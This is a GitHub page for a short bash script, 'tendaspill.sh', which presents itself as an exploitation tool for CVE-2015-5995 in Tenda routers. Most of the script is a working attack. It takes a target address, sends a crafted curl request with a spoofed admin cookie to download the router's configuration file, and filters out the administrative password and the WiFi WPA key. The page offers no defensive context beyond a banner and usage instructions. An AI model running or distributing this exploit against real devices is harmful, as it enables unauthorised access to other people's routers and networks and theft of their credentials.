forked from shaheemirza/TendaSpill
-
Notifications
You must be signed in to change notification settings - Fork 0
/
tendaspill.sh
56 lines (40 loc) · 1.82 KB
/
tendaspill.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/bin/bash
#
# "We're here to observe another kind of code. The bad code." - Root, Person of Interest
#
IP=$1
echo ""
echo ""
echo "####### #####
# ###### # # ##### ## # # ##### # # #
# # ## # # # # # # # # # # #
# ##### # # # # # # # ##### # # # # #
# # # # # # # ###### # ##### # # #
# # # ## # # # # # # # # # #
# ###### # # ##### # # ##### # # ###### ######"
echo "--------------------------------------------"
echo "An exploitation tool to extract passwords using CVE-2015-5995."
echo "by Shahee Mirza ## Twitter: @shaheemirza"
echo "--------------------------------------------"
if [ -z "$IP" ]
then
echo "++++++++++++++++++++++++++++++++++++++++++++"
echo "USES: ./tendaspill.sh IP:PORT"
echo "E.G.: ./tendaspill.sh 192.168.1.1:8080"
echo "++++++++++++++++++++++++++++++++++++++++++++"
exit
fi
echo ""
echo "Exploiting: $IP"
echo ""
echo "++++++++++++++++++++++++++++++++++++++++++++"
echo "Administrative and WiFi Password:"
echo "++++++++++++++++++++++++++++++++++++++++++++"
echo ""
curl -s -k -X $'GET' \
-H $'Host: '$IP -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US;q=0.6,en;q=0.4' -H $'Referer: http://'$IP'/' -H $'User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1' -H $'Cookie: language=en; admin:language=en' -H $'Connection: close' \
-b $'language=en; admin:language=en' \
$'http://'$IP'/cgi-bin/DownloadCfg/RouterCfm.cfg' 2>&1 | grep 'http_passwd\|wl_wpa_psk'
echo ""
echo "--------------------------------------------"
echo ""